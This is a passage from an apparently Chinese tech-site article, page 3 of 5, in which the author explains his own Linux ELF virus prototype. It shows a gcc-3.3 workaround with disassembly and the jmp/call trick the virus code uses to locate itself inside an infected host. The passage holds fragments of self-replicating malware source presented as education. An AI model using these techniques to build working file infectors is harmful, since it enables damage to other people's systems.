设为首页
联系站长
加入收藏

您的位置: 首页>>IT业界>>互联网>>正文
 剖析Linux病毒原型的工作过程和关键环节
 日期:2005-5-26 15:32:27  来源:100down.com

5 遭遇gcc-3.3的bug

gvirus.c中有一部分的数据初始化是这样的:
...
char curdir[2] = {'.', 0};
char newline = '\n';

curdir[0] = '.';
curdir[1] = 0;
newline = '\n';

if ((curfd = g_open(curdir, O_RDONLY, 0)) < 0)
goto out;
...

也许你会奇怪,为什么curdir和newline在已经初始化后还要重新赋值,这其中的原因
是为了绕过一个gcc的bug。
在我的编译环境下,当只做
char curdir[2] = {'.', 0};
char newline = '\n';
这样的初始化时,反汇编代码如下:
...
0x08048cb0 : push %ebp
0x08048cb1 : push %edi
0x08048cb2 : push %esi
0x08048cb3 : push %ebx
0x08048cb4 : sub $0x20bc,%esp
0x08048cba : push %eax
0x08048cbb : push %ecx
0x08048cbc : push %edx
0x08048cbd : xor %ecx,%ecx
0x08048cbf : lea 0x4e(%esp),%ebx <.使用curdir
0x08048cc3 : mov $0x5,%eax
0x08048cc8 : mov %ecx,%edx
0x08048cca : int $0x80 <.g_open系统调用
0x08048ccc : mov %eax,0x38(%esp)
0x08048cd0 : cmp $0xffffff82,%eax
0x08048cd3 : jbe 0x8048cdd
0x08048cd5 : movl $0xffffffff,0x38(%esp)
0x08048cdd : mov 0x38(%esp),%eax
0x08048ce1 : test %eax,%eax
0x08048ce3 : js 0x804915d
0x08048ce9 : movw $0x2e,0x4e(%esp) <.curdir的初始化
...
从注释可以看出,在这种情况下,curdir的初始化被放到了g_open使用其做参数之后。

当加入
curdir[0] = '.';
curdir[1] = 0;
newline = '\n';
后,反汇编代码如下:
...
0x08048cb0 : push %ebp
0x08048cb1 : push %edi
0x08048cb2 : push %esi
0x08048cb3 : push %ebx
0x08048cb4 : sub $0x20bc,%esp
0x08048cba : push %eax
0x08048cbb : push %ecx
0x08048cbc : push %edx
0x08048cbd : xor %ecx,%ecx
0x08048cbf : movw $0x2e,0x4e(%esp) <.curdir的初始化
0x08048cc6 : lea 0x4e(%esp),%ebx <.作为参数使用
0x08048cca : mov $0x5,%eax
0x08048ccf : mov %ecx,%edx
0x08048cd1 : int $0x80 <.g_open系统调用
...
从注释可以看出,加入了这段代码后,程序编译正确,避免了这个编译器bug。

6 通过C语言和inline保证病毒代码的可读性和可移植性

用汇编写病毒代码的一个缺点就是 - 可读性和可移植性差,这也是使用汇编语言写
程序的一个普遍的缺点。
在这个linux病毒原型代码了主体使用的都是C语言,只有极少部分由于C语言本身的
限制而不得不使用gcc嵌入汇编。对于C语言部分,也尽量是用inline函数,保证代码
层次分明,保证可读性。

7 病毒代码复制时如何获得自己的起始地址?

虽然,病毒代码部分向ELF Infector提供了代码的起始地址,保证了生成第一个带毒
文件时能够找到代码并插入到目标文件内。但是作为进入宿主内部的代码在进行传播
时却无法使用这个地址,因为它的代码位置已经受到了宿主的影响,这时它需要重新
定位自己的起始位置。

在写这个病毒原型时,我并没有参考过其它病毒的代码,因此这里采用的也许并
不是一个最好的方法:

/* Get start address of virus code */
__asm__ volatile (
"jmp get_start_addr\n"
"infect_start:\n\t"
"popl %0\n\t"
:"=m" (para_code_start_addr)
:);
para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;

... /* c代码 */
...

__asm__ volatile (
...
"get_start_addr:\n\t"
"call infect_start\n"
"return:\n\t"
"push $0xAABBCCDD\n\t" /* push ret_addr */
"ret\n"
::);

通过缓冲区溢出中的一个技巧,jmp/call组合来得到push $0xAABBCCDD指令的地址。
这个地址是0xAABBCCDD地址向后一个push指令,而0xAABBCCDD的地址就是那个用于
存放病毒代码返回地址的地址,这个地址相对于病毒代码起始地址的偏移我们是知道
的,就是病毒代码函数向ELF Infector接口提供的那个宏定义的值:
#ifndef NDEBUG
#define PARACODE_RETADDR_ADDR_OFFSET 1704
#else
#define PARACODE_RETADDR_ADDR_OFFSET 1232
#endif

这样病毒代码在当前宿主中的位置就可以得到了(注意从汇编指令出来后,
para_code_start_addr中存放的是0xAABBCCDD的地址,我们减去偏移再减
一个push指令的长度,就是病毒代码的起始地址):

para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;

本新闻共5页,当前在第3页  1  2  3  4  5  

相关文章

·把Linux的密码转换成FreeBSD dat
·按部就班三步走:RHCE黄金认证轻松
·实力的终极挑战:RHCE认证难点剖析
·考前必读:怎样准备RHCE考试大方向
·认证考试介绍之RHCE篇
·红旗Linux认证证书样本
·高手攻关心得:RHCE实战详细经验
·实力的终极挑战:RHCE认证难点剖析
·考前必读:怎样准备RHCE考试大方向
·明年Redhat考试将有重大调整


阅读排行

·Win 2000不能访问Win XP的原因及
·解析Windows中的帐户和权限功能
·如何共享Windows XP操作系统
·Windows XP Service Pack 1
·通过 Windows XP 注册表自定义您
·Windows 2000 TCP/IP协议概述
·Windows 2000 Server TCP/IP协议
·dos常用命令使用说明
·Windows变慢原因分析及解决方法(
·Windows变慢原因分析及解决方法(
·WINXP下强行关闭“杀”不了的进程
·Windows XP系统注册表的恢复

最新文档

·创业激情需冷静 网络代理选择应理
·域名交易平台亟需规范 预防域名买
·Travel旅游域名即将引发抢注潮 
·从原理深处分析如何预防arp攻击
·突破建站弊端 企业网络营销大有可
·如何区分进程和病毒?
·java的基础知识,如何学好java
·微机原理与接口技术基础知识
·如何解决青少年沉迷网络的问题,
·全面分析主板BIOS报警信号

请您注意:
·尊重网上道德,遵守中华人民共和国的各项有关法律法规
·您在本站发表的作品,本站有权在网站内转载或引用
·其他网站如果需要转载 本站文章请在贵站著名来源,谢谢合作